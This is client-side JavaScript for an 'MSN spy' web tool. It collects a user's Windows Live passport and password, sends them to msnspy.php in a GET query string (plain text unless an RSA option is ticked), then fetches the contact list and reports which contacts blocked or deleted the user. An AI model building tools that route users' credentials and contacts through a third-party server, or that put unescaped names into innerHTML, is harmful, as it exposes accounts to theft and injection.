var http = (navigator.appName == "Microsoft Internet Explorer" ? new ActiveXObject("Microsoft.XMLHTTP") : new XMLHttpRequest());

var contactsTicket; var spacesTicket; var SAToken;
function auth() {
	encrypt_password();
	document.getElementById('login').style.display = 'none';
	document.getElementById('status').innerHTML = 'Retrieving Windows Live authentication tickets...';
	document.getElementById('progress').style.width = '0';
	document.getElementById('loading').style.display = 'block';
	http.open('get', 'msnspy.php?act=auth&passport='+document.getElementById('form')[0].value+'&password='+password);
	http.onreadystatechange = function() {
		if (http.readyState != 4) { return; }
		if (!http.responseText) {
			document.getElementById('form')[2].disabled = '';
			document.getElementById('error').innerHTML = 'Couldn\'t login to Windows Live - Better luck next time buddy!';
			document.getElementById('error').style.display = 'block';
			document.getElementById('loading').style.display = 'none';
			document.getElementById('login').style.display = 'block';
			return;
		}
		contactsTicket = http.responseText.split("\r\n")[0];
		spacesTicket = http.responseText.split("\r\n")[1];
		SAToken = http.responseText.split("\r\n")[2];
		contacts();
	};
	http.send(null);
}

var contactList = new Array();
function contacts() {
	document.getElementById('status').innerHTML = 'Retrieving MSN contact list...';
	document.getElementById('progress').style.width = '20px';
	http.open('get', 'msnspy.php?act=contacts&contactsTicket='+contactsTicket+(document.getElementById('form')[3].checked ? '&all' : ''));
	http.onreadystatechange = function() {
		if (http.readyState != 4) { return; }
		if (!http.responseText) {
			document.getElementById('form')[2].disabled = '';
			document.getElementById('error').innerHTML = 'Couldn\'t get the contact list - Better luck next time buddy!';
			document.getElementById('error').style.display = 'block';
			document.getElementById('loading').style.display = 'none';
			document.getElementById('login').style.display = 'block';
			return;
		}
		contactList = http.responseText.split("\r\n");
		switch_panel(0);
		document.getElementById('status').innerHTML = 'Parsing your contacts\' Windows Live profile pages...';
		document.getElementById('progress').style.width = '40px';
		document.getElementById('links').style.display = 'block';
		document.getElementById('results').style.display = 'block';
		check(ID);
	};
	http.send(null);
}

var ID = 0; var blocked = 0; var deleted = 0;
function check(ID) {
	var contact = contactList[ID].split(':');
	http.open('get', 'msnspy.php?act=check&passport='+contact[0]+'&CID='+contact[1]+'&spacesTicket='+spacesTicket+'&SAToken='+SAToken);
	http.onreadystatechange = function() {
		if (http.readyState != 4) { return; }
		if (http.responseText == '1') {
			blocked++;
			document.getElementById('links').getElementsByTagName('a')[0].innerHTML = 'Blocked you ('+blocked+')';
			document.getElementById('blocked').innerHTML += '<a href="http://spaces.live.com/profile.aspx?mem='+contact[0]+
				'" onclick="window.open(this.href); return false;">'+contact[0]+'</a><br />';
		}
		if (contact[2] == '1') {
			deleted++;
			document.getElementById('links').getElementsByTagName('a')[1].innerHTML = 'Deleted you ('+deleted+')';
			document.getElementById('deleted').innerHTML += '<a href="http://spaces.live.com/profile.aspx?mem='+contact[0]+
				'" onclick="window.open(this.href);return false;">'+contact[0]+'</a><br />';
		}
		document.getElementById('progress').style.width = Math.round(40+(ID+1)/(contactList.length-1)*310)+'px';
		if (contactList[ID+1]) { check(ID+1); } else {
			document.getElementById('status').innerHTML = 'All done! '+
				'<a href="javascript:void(0);" onclick="window.location.reload();">Check again?</a>';
			document.getElementById('progress').style.width = '350px';
		}
	}
	http.send(null);
}

function switch_panel(panel) {
	var links = document.getElementById('links').getElementsByTagName('a');
	links[panel].style.marginTop = '1px'; links[panel].style.borderBottom = '0'; links[panel].style.color = '#FFA200';
	links[1-panel].style.marginTop = '0'; links[1-panel].style.borderBottom = '1px'; links[1-panel].style.color = '#A71602';
	document.getElementById((panel ? 'deleted' : 'blocked')).style.display = 'block';
	document.getElementById((panel ? 'blocked' : 'deleted')).style.display = 'none';
	links[panel].blur();
}

var password;
function encrypt_password() {
	document.getElementById('form')[2].disabled = 'disabled';
	var message = document.getElementById('form')[1].value;
	document.getElementById('form')[1].value = '';
	if (!document.getElementById('form')[4].checked) { password = message; return; }
	setMaxDigits(19);
	password = new Array();
	for (var k=0; k<message.length; k++) { password.push(message.charCodeAt(k)); }
	password = rsa_encrypt(password, publicKey, modulus, 128)+'&RSA';
}
